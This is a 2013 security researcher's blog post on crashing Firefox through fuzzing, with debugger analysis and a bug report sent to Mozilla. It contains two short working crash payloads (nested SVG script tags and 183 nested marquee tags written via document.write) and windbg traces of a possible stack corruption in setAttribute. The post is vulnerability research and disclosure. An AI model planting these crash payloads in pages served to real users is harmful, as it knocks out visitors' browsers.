Hacking Firefox

Author:

Gareth Heyes

Published: Fri, 26 Jul 2013 19:26:18 GMT

Updated: Sat, 22 Mar 2025 15:38:20 GMT

I was playing with Firefox to see what crashes it and thought SVG might be a good place to look. I tried combinations of all elements nested together and came across problems with script.

<script>str='';for(i=0;i<0xefff;i++){str+='<script>AAAAAA';};document.write('<svg>'+str+'</svg>');</script>

This causes a complete crash in Firefox but is it only a DoS? It appears so. I booted up windbg...stack overflow push edi.


FragmentOrElement::SaveSubtreeState()
{
  uint32_t i, count = mAttrsAndChildren.ChildCount();//this line overflows
  for (i = 0; i < count; ++i) {
    mAttrsAndChildren.ChildAt(i)->SaveSubtreeState();
  }
}

Looks like a DoS to me, it crashes inconstantly but more consistently if you increase the value maybe if it was debugged when it doesn't crash there might be something more interesting but I failed so I'm posting here.

DoS by Marquee

I looked outside of SVG and our old friend marquee had some fun for us.

<script>document.write(Array(184).join('<marquee>'))</script>

This causes the marquee crash


  if (aIID.Equals(kThisImplCID))
     foundInterface = static_cast<nsIDocumentLoader *>(this);
   else
NS_INTERFACE_MAP_END//appears to be this line

eax=70339e24 ebx=00000000 ecx=70b4d320 edx=70d9c4ac esi=0be7b004 edi=80000000 eip=6fe720c8 esp=00e63000 ebp=00e631dc iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

6fe720c8 56 push esi

Crashes Firefox again but plain old Stack Exhaustion DoS again.

Possible stack corruption in Firefox using setAttribute

Lastly a pretty interesting crash that I reported to Mozilla which Boris stated it was safely crashing but in windbg there were a few indications of stack corruption and I was hoping to learn more when I reported it. I didn't :/ so if you have some success please let me know as I was trying for ages. Here is my report to mozilla:

Here is a possible stack corruption in Firefox that's I've been trying to exploit for a few days and I've finally given in and reported it. I would be super grateful to anyone who is willing to explain where I'm going right/wrong with this as I want to learn more about exploiting these bugs and also help mozilla in the process.

PoC

Note if you increase the value to 0xfffff and more you can get outside of mozalloc and into non mozilla code.

Enough blabber. Ok so Firefox seems to crash when using setAttribute on various html elements with a large selection of attributes. I couldn't narrow down exactly which are causing the problem but it could be just having a lot of attributes. Passing a large string triggers the crash.

Exception Faulting Address: 0x74111988 First Chance Exception Type: STATUS_BREAKPOINT (0x80000003)

Faulting Instruction:74111988 int 3

Basic Block: 74111988 int 3

Exception Hash (Major/Minor): 0x142182e0.0x360c07ce

Hash Usage : Stack Trace: Major+Minor : mozalloc!mozalloc_abort+0x2b Major+Minor : xul!NS_DebugBreak_P+0x1c0 Major+Minor : xul!xpc::CompartmentPrivate::SetLocation+0x3fdf42 Major+Minor : xul!`anonymous namespace'::VirtualAllocHook+0x3f Major+Minor : mozglue!chunk_alloc_mmap+0x17 Minor : MSVCR100!_getptd_noexit+0x74 Minor : MSVCR100!_errno+0x5 Minor : mozglue!je_malloc+0x369 Minor : xul!mozilla::dom::Element::SetAttr+0x5e2 Minor : xul!nsGenericHTMLElement::SetAttr+0x7a Minor : xul!nsGenericHTMLFrameElement::SetAttr+0x1c Minor : xul!mozilla::dom::Element::SetAttribute+0x1bd Minor : xul!mozilla::dom::ElementBinding::setAttribute+0xa9 Minor : xul!mozilla::dom::ElementBinding::genericMethod+0x85 Minor : mozjs!js::mjit::EnterMethodJIT+0xbf Minor : mozjs!CheckStackAndEnterMethodJIT+0x93 Minor : mozjs!js::Interpret+0x63bf Minor : mozjs!js::RunScript+0xac Minor : mozjs!js::ExecuteKernel+0x163 Minor : mozjs!js::Execute+0x83 Minor : mozjs!JS::Evaluate+0xd6 Minor : xul!nsJSContext::EvaluateString+0x20b Minor : mozjs!JS::CompileOptions::CompileOptions+0x26 Minor : xul!nsQueryReferent::operator()+0x30 Minor : xul!nsCOMPtr_base::~nsCOMPtr_base+0xe Minor : xul!nsIScriptElement::BeginEvaluating+0x3f Minor : xul!nsScriptLoader::ProcessRequest+0x12f Minor : xul!nsScriptLoader::ProcessScriptElement+0x251 Minor : xul!nsScriptElement::MaybeProcessScript+0xe5 Minor : xul!nsHtml5TreeOpExecutor::RunScript+0x60 Minor : xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x314 Minor : xul!nsHtml5ExecutorFlusher::Run+0x14 Minor : xul!nsThread::ProcessNextEvent+0x279 Minor : xul!NS_ProcessNextEvent_P+0x2e Minor : xul!mozilla::ipc::MessagePump::Run+0x46 Minor : xul!MessageLoop::RunHandler+0x51 Minor : xul!MessageLoop::Run+0x19 Minor : xul!nsBaseAppShell::Run+0x2c Minor : xul!nsAppShell::Run+0x14 Minor : xul!XREMain::XRE_mainRun+0x37a Minor : xul!XREMain::XRE_main+0xeb Minor : xul!XRE_main+0x30 Minor : firefox!do_main+0x57e Minor : firefox!wmain+0x7b0 Minor : firefox!__tmainCRTStartup+0x122 Minor : KERNEL32!BaseThreadInitThunk+0xe Minor : ntdll!__RtlUserThreadStart+0x72 Minor : ntdll!_RtlUserThreadStart+0x1b Instruction Address: 0x0000000074111988 Source File: e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\memory\mozalloc\mozalloc_abort.cpp Source Line: 30

Description: Breakpoint Short Description: Breakpoint Exploitability Classification: UNKNOWN Recommended Bug Title: Breakpoint starting at mozalloc!mozalloc_abort+0x000000000000002b (Hash=0x142182e0.0x360c07ce)

What's weird is that it hits a break point that I didn't set. A software breakpoint in Firefox maybe? And there's indication of stack corruption because symbols aren't found. I mess around with this and it's possible to break out of the mozalloc into another handler (outside the mozilla code) I'm assuming this is good because it gets to memory it shouldn't.

I looked in the calls window in windbg and so this: 03 0114d71c 74a47107 xul!`anonymous namespace'::VirtualAllocHook(void * aAddress = 0x41414141, unsigned long aSize = 0x41414141, unsigned long aAllocationType = 0x41414141, unsigned long aProtect = 0x41414141)+0x3f (FPO: [Non-Fpo]) (CONV: stdcall)

Which looks cool to me since my code seems to be controlling the address but still no idea what do now. I tried heap spraying to 0c0c0c0c and change the string I send to \u0c0c0c but with no success.

Increasing the size of the string to 0xffffff results in a different handler being called (I'm assuming some ms dll).

Basic Block: 74aa2357 rep movs dword ptr es:[edi],dword ptr [esi] Tainted Input operands: 'ecx','edi','esi' 74aa2359 jmp dword ptr msvcr100!trailupvec (74aa2470)[edx*4]

Exception Hash (Major/Minor): 0x7bb0290d.0x5be6096d

Hash Usage : Stack Trace: Major+Minor : MSVCR100!memmove+0x57 Major+Minor : xul!AtomImpl::AtomImpl+0x92 Major+Minor : xul!NS_NewAtom+0x8b Major+Minor : xul!nsAttrValue::ParseAtomArray+0xa6 Major+Minor : xul!nsGenericHTMLElement::ParseAttribute+0x1b5 Minor : xul!nsHTMLIFrameElement::ParseAttribute+0x89 Instruction Address: 0x0000000074aa2357 Source File: f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM Source Line: 185

Description: User Mode Write AV near NULL Short Description: WriteAVNearNull Exploitability Classification: UNKNOWN Recommended Bug Title: User Mode Write AV near NULL starting at MSVCR100!memmove+0x0000000000000057 (Hash=0x7bb0290d.0x5be6096d)

User mode write access violations that are near NULL are unknown.

← Back to articles